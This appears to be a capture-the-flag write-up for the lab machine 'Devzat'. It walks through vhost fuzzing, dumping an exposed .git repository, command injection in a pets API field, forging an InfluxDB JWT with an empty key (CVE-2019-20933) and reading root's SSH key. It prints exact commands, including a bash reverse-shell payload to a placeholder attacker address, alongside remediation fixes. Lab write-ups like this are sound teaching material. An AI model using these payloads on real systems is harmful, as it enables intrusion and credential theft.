Devzat
Summary
I enumerated virtual hosts on the Apache web server to find a secondary application at pets.devzat.htb. Apache directory listing was enabled on that site, exposing the full .git repository. Dumping and reading the Go source code revealed that the pet-species field in the REST API was concatenated directly into a shell command without sanitization.
Injecting a reverse-shell payload through the species parameter produced a foothold as the system user patrick. From that session, I connected to the Devzat developer chat application running over SSH on port 8000 and read cached administrator messages that disclosed InfluxDB was installed locally. InfluxDB was deployed without a shared secret, which is exploitable under CVE-2019-20933: a JWT signed with an empty key is accepted as valid, granting unauthenticated database access.
I forged such a token, queried the credentials store, and recovered catherine's plaintext password. Logging in as catherine via SSH captured the user flag. A further escalation path to root -- reading the root SSH private key through a file-read command in a development build of the chat application that accepted a hardcoded password -- returned root's private SSH key, and authenticating with it gave a root shell.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80,8000 --min-rate 5000 -oN nmap-initial.txt $TARGETffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.devzat.htb' -fs 0echo "$TARGET devzat.htb pets.devzat.htb" | sudo tee -a /etc/hostsExact commands 3
curl -s http://pets.devzat.htb/.git/HEADgit-dumper http://pets.devzat.htb/.git ./pets-srcgrep -n 'exec\|species\|Command\|Shell' ./pets-src/main.goFixDisable directory listing and block web access to .git directoriesHigh
Exact commands 2
nc -lvnp 4444curl -s -X POST http://pets.devzat.htb/api/pet -H 'Content-Type: application/json' -d '{"name":"test","species":"cat;bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1 #"}'FixEliminate shell execution of user-supplied input in the pets APICritical
Exact commands 2
ssh -p 8000 patrick@$TARGET -o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa#commandsExact commands 3
python3 -c "import jwt, datetime; print(jwt.encode({'username':'admin','exp': datetime.datetime.utcnow()+datetime.timedelta(hours=1)}, '', algorithm='HS256'))"curl -sG 'http://localhost:8086/query' -H 'Authorization: Bearer <JWT_TOKEN>' --data-urlencode 'db=devzat' --data-urlencode 'q=SHOW DATABASES'curl -sG 'http://localhost:8086/query' -H 'Authorization: Bearer <JWT_TOKEN>' --data-urlencode 'db=devzat' --data-urlencode 'q=SELECT * FROM "user"'FixConfigure a strong InfluxDB shared secret to prevent JWT forgery (CVE-2019-20933)Critical
Exact commands 2
ssh catherine@$TARGETcat /home/catherine/user.txtExact commands 5
ssh -L 8443:127.0.0.1:8443 catherine@$TARGETssh -p 8443 catherine@127.0.0.1 -o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa/auth $PASSWORD/file /root/.ssh/id_ed25519chmod 600 ./root_id_ed25519 && ssh -i ./root_id_ed25519 root@$TARGETFixRemove the development chat build and its hardcoded credentials from the production hostCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.41 |
| 8000/tcp | http recon-sweep-discovered |